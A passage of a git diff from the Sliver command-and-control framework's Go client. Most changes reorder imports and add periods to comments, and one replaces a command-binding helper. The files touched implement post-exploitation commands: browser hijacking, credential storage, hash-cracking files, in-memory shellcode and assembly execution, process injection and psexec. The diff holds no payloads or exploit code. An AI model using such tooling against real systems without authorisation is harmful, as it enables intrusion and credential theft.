con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/builders/commands.go b/client/command/builders/commands.go index d80cbe44fe..16478cd1fc 100644 --- a/client/command/builders/commands.go +++ b/client/command/builders/commands.go @@ -1,13 +1,12 @@ package builders import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/command.go b/client/command/command.go index 33318adf12..3e5cb16fff 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -77,6 +77,42 @@ func RestrictTargets(filters ...string) map[string]string { } } +// makeBind returns a commandBinder helper function +// @menu - The command menu to which the commands should be bound (either server or implant menu). +func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { + return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { + found := false + + // Ensure the given command group is available in the menu. + if group != "" { + for _, grp := range cmd.Groups() { + if grp.Title == group { + found = true + break + } + } + + if !found { + cmd.AddGroup(&cobra.Group{ + ID: group, + Title: group, + }) + } + } + + // Bind the command to the root + for _, command := range cmds { + cmd.AddCommand(command(con)...) + } + } +} + +// commandBinder is a helper used to bind commands to a given menu, for a given "command help group". +// +// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. +// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. +type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) + // [ Core ] // [ Sessions ] // [ Execution ] @@ -99,33 +135,3 @@ func RestrictTargets(filters ...string) map[string]string { // - double bind help command // - double bind session commands // - don't bind readline command in CLI. - -// bind is a helper used to bind a list of root commands to a given menu, for a given "command help group". -// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. -// @menu - The command menu to which the commands should be bound (either server or implant menu). -// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. -func bind(group string, menu *cobra.Command, con *client.SliverClient, cmds ...func(con *client.SliverClient) []*cobra.Command) { - found := false - - // Ensure the given command group is available in the menu. - if group != "" { - for _, grp := range menu.Groups() { - if grp.Title == group { - found = true - break - } - } - - if !found { - menu.AddGroup(&cobra.Group{ - ID: group, - Title: group, - }) - } - } - - // Bind the command to the root - for _, command := range cmds { - menu.AddCommand(command(con)...) - } -} diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index e69de1bd1c..c31383d1ff 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -25,17 +25,16 @@ import ( "io" "os" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/klauspost/compress/zstd" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/klauspost/compress/zstd" + "github.com/spf13/cobra" ) -// CrackWordlistsCmd - Manage GPU cracking stations +// CrackWordlistsCmd - Manage GPU cracking stations. func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { @@ -55,7 +54,7 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []str } } -// CrackRulesCmd - Manage GPU cracking stations +// CrackRulesCmd - Manage GPU cracking stations. func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { @@ -75,7 +74,7 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// CrackHcstat2Cmd - Manage GPU cracking stations +// CrackHcstat2Cmd - Manage GPU cracking stations. func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { @@ -162,7 +161,7 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC ) } -// CrackWordlistsAddCmd - Manage GPU cracking stations +// CrackWordlistsAddCmd - Manage GPU cracking stations. func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") @@ -206,7 +205,7 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args [] addCrackFile(wordlist, crackFile, con) } -// CrackRulesAddCmd - add a rules file +// CrackRulesAddCmd - add a rules file. func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") @@ -250,7 +249,7 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []stri addCrackFile(rules, crackFile, con) } -// CrackHcstat2AddCmd - add a hcstat2 file +// CrackHcstat2AddCmd - add a hcstat2 file. func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") @@ -402,7 +401,7 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error return chunkBuf[:n], nil } -// CrackWordlistsRmCmd - Manage GPU cracking stations +// CrackWordlistsRmCmd - Manage GPU cracking stations. func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var wordlistName string if len(args) > 0 { @@ -436,7 +435,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []s } } -// CrackRulesRmCmd - Manage GPU cracking stations +// CrackRulesRmCmd - Manage GPU cracking stations. func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var rulesName string if len(args) > 0 { @@ -470,7 +469,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// CrackHcstat2RmCmd - remove a hcstat2 file +// CrackHcstat2RmCmd - remove a hcstat2 file. func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var hcstat2Name string if len(args) > 0 { diff --git a/client/command/creds/add.go b/client/command/creds/add.go index 4d84bb8574..6c4fef924d 100644 --- a/client/command/creds/add.go +++ b/client/command/creds/add.go @@ -37,7 +37,7 @@ const ( CSVFormat = "csv" // username,hash\n ) -// CredsCmd - Add new credentials +// CredsCmd - Add new credentials. func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") username, _ := cmd.Flags().GetString("username") @@ -76,7 +76,7 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintCreds(creds.Credentials, con) } -// CredsCmd - Add new credentials +// CredsCmd - Add new credentials. func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") filePath := args[0] diff --git a/client/command/creds/commands.go b/client/command/creds/commands.go index aba841248e..65276e382b 100644 --- a/client/command/creds/commands.go +++ b/client/command/creds/commands.go @@ -1,14 +1,13 @@ package creds import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 012292aca8..63f36728b7 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -23,17 +23,16 @@ import ( "fmt" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// CredsCmd - Manage credentials +// CredsCmd - Manage credentials. func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { @@ -101,7 +100,7 @@ func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action { }) } -// CredsHashFileFormatCompleter completes file formats for hash-files +// CredsHashFileFormatCompleter completes file formats for hash-files. func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValuesDescribed( UserColonHashNewlineFormat, "One hash per line.", @@ -110,7 +109,7 @@ func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { ).Tag("hash file formats") } -// CredsCollectionCompleter completes existing creds collection names +// CredsCollectionCompleter completes existing creds collection names. func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index 2498327062..fcb88d828a 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -27,7 +27,7 @@ import ( "github.com/spf13/cobra" ) -// CredsCmd - Add new credentials +// CredsCmd - Add new credentials. func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var id string if len(args) > 0 { diff --git a/client/command/creds/select.go b/client/command/creds/select.go index 89f02a865f..80c3da1516 100644 --- a/client/command/creds/select.go +++ b/client/command/creds/select.go @@ -9,13 +9,12 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SelectCredential - Interactive menu for the user to select a credentials from the database +// SelectCredential - Interactive menu for the user to select a credentials from the database. func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) { var creds *clientpb.Credentials var err error diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index ba187a36b3..15162998aa 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -1,23 +1,23 @@ package cursed import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { cursedCmd := &cobra.Command{ - Use: consts.Cursed, - Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", - Long: help.GetHelpFor([]string{consts.Cursed}), - GroupID: consts.ExecutionHelpGroup, + Use: consts.Cursed, + Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + Long: help.GetHelpFor([]string{consts.Cursed}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { CursedCmd(cmd, con, args) }, diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 51656b9683..cf76c83da3 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -29,8 +29,6 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" @@ -38,6 +36,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) var ( @@ -51,7 +50,7 @@ var ( cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} ) -// CursedChromeCmd - Execute a .NET assembly in-memory +// CursedChromeCmd - Execute a .NET assembly in-memory. func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index f70bdcb42a..24fcc4cdc2 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -27,12 +27,11 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/reeflective/readline" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" + "github.com/reeflective/readline" + "github.com/spf13/cobra" ) func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go index a2f46dfa4e..59c13d5e09 100644 --- a/client/command/cursed/cursed-cookies.go +++ b/client/command/cursed/cursed-cookies.go @@ -24,10 +24,9 @@ import ( "strings" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/overlord" + "github.com/spf13/cobra" ) func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index 7ec9c67cdd..19623f35ef 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -21,21 +21,19 @@ package cursed import ( "context" "os" - "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// CursedChromeCmd - Execute a .NET assembly in-memory +// CursedChromeCmd - Execute a .NET assembly in-memory. func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index e990536da3..e9894315db 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -27,8 +27,6 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/overlord" @@ -36,6 +34,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index fdbf14c1a5..a2f47b1ad9 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -23,11 +23,10 @@ import ( "strconv" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed-screenshot.go b/client/command/cursed/cursed-screenshot.go index 237ccf6908..1b0ab936d5 100644 --- a/client/command/cursed/cursed-screenshot.go +++ b/client/command/cursed/cursed-screenshot.go @@ -23,10 +23,9 @@ import ( "os" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/overlord" + "github.com/spf13/cobra" ) func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index 5c011ef963..da38a6eab6 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -27,15 +27,14 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// CursedChromeCmd - Execute a .NET assembly in-memory +// CursedChromeCmd - Execute a .NET assembly in-memory. func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Collect existing curses from core cursedProcesses := [][]string{} @@ -71,7 +70,7 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// selectCursedProcess - Interactively select a cursed process from a list +// selectCursedProcess - Interactively select a cursed process from a list. func selectCursedProcess(con *console.SliverClient) *core.CursedProcess { cursedProcesses := []*core.CursedProcess{} core.CursedProcesses.Range(func(key, value interface{}) bool { diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index d0be42aa9f..a2f913c25c 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -1,15 +1,14 @@ package exec import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index ef10f39715..69f649da90 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -25,15 +25,14 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ExecuteAssemblyCmd - Execute a .NET assembly in-memory +// ExecuteAssemblyCmd - Execute a .NET assembly in-memory. func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index 4727e0fa40..586136b079 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -26,18 +26,16 @@ import ( "log" "os" - "golang.org/x/term" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "golang.org/x/term" + "google.golang.org/protobuf/proto" ) -// ExecuteShellcodeCmd - Execute shellcode in-memory +// ExecuteShellcodeCmd - Execute shellcode in-memory. func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -128,7 +126,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s } } -// PrintExecuteShellcode - Display result of shellcode execution +// PrintExecuteShellcode - Display result of shellcode execution. func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) { if task.Response.GetErr() != "" { con.PrintErrorf("%s\n", task.Response.GetErr()) diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index 03513f9173..0fd15d98a0 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -23,17 +23,15 @@ import ( "strings" "time" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ExecuteCmd - Run a command on the remote system +// ExecuteCmd - Run a command on the remote system. func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -136,7 +134,7 @@ func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName stri PrintExecute(exec, cmd, con) } -// PrintExecute - Print the output of an executed command +// PrintExecute - Print the output of an executed command. func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) { ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr") stdout, _ := cmd.Flags().GetString("stdout") @@ -258,7 +256,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st } if outFilePath != nil { - outFilePath.Write([]byte(executionOutput)) + outFilePath.WriteString(executionOutput) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } diff --git a/client/command/exec/migrate.go b/client/command/exec/migrate.go index 2e696f43fb..66a02fdeb5 100644 --- a/client/command/exec/migrate.go +++ b/client/command/exec/migrate.go @@ -23,14 +23,13 @@ import ( "fmt" "strings" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// MigrateCmd - Windows only, inject an implant into another process +// MigrateCmd - Windows only, inject an implant into another process. func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go index 0b5bf257af..4039a2dcc9 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/exec/msf-inject.go @@ -22,17 +22,15 @@ import ( "context" "fmt" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// MsfInjectCmd - Inject a metasploit payload into a remote process +// MsfInjectCmd - Inject a metasploit payload into a remote process. func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -99,7 +97,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintMsfRemote - Print the results of the remote injection attempt +// PrintMsfRemote - Print the results of the remote injection attempt. func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) { if msfRemote.Response == nil { con.PrintErrorf("Empty response from msf payload injection task") diff --git a/client/command/exec/msf.go b/client/command/exec/msf.go index 1b06a3e29f..1685b7de99 100644 --- a/client/command/exec/msf.go +++ b/client/command/exec/msf.go @@ -22,16 +22,14 @@ import ( "context" "fmt" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// MsfCmd - Inject a metasploit payload into the current remote process +// MsfCmd - Inject a metasploit payload into the current remote process. func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/exec/psexec.go b/client/command/exec/psexec.go index eb18442abb..790417a1ce 100644 --- a/client/command/exec/psexec.go +++ b/client/command/exec/psexec.go @@ -21,14 +21,11 @@ package exec import ( "context" "fmt" + insecureRand "math/rand" "os" "strings" "time" - insecureRand "math/rand" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" @@ -36,6 +33,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" + "github.com/spf13/cobra" ) // PsExecCmd - psexec command implementation. diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index 991ee835cb..f64c9eeb96 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -25,16 +25,14 @@ import ( "path/filepath" "strings" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// SideloadCmd - Sideload a shared library on the remote system +// SideloadCmd - Sideload a shared library on the remote system. func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index 068965113c..ff281187d2 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -24,16 +24,14 @@ import ( "os" "strings" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// SpawnDllCmd - Spawn execution of a DLL on the remote system +// SpawnDllCmd - Spawn execution of a DLL on the remote system. func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index 67dea6252d..5de8a37a6d 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -24,15 +24,14 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out) +// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out). func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( privKey []byte @@ -120,7 +119,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintSSHCmd - Print the ssh command response +// PrintSSHCmd - Print the ssh command response. func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) { if sshCmd.Response != nil && sshCmd.Response.Err != "" { con.PrintErrorf("Error: %s\n", sshCmd.Response.Err) diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index f09f930b3e..af74dfc1eb 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -30,7 +30,7 @@ import ( "github.com/spf13/cobra" ) -// ExitCmd - Exit the console +// ExitCmd - Exit the console. func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { fmt.Println("Exiting...") if con.IsServer { diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go index 62df2bf6cc..5d5e5434ef 100644 --- a/client/command/extensions/commands.go +++ b/client/command/extensions/commands.go @@ -1,12 +1,11 @@ package extensions import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index 5bc6f0cd86..e47864a111 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -24,17 +24,16 @@ import ( "os" "strings" + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" ) -// ExtensionsCmd - List information about installed extensions +// ExtensionsCmd - List information about installed extensions. func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { if 0 < len(getInstalledManifests()) { PrintExtensions(con) @@ -43,7 +42,7 @@ func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { } } -// PrintExtensions - Print a list of loaded extensions +// PrintExtensions - Print a list of loaded extensions. func PrintExtensions(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -114,7 +113,7 @@ func getInstalledManifests() map[string]*ExtensionManifest { return installedManifests } -// ExtensionsCommandNameCompleter - Completer for installed extensions command names +// ExtensionsCommandNameCompleter - Completer for installed extensions command names. func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { installedManifests := getInstalledManifests() diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index d6053f1736..b084feddcc 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go 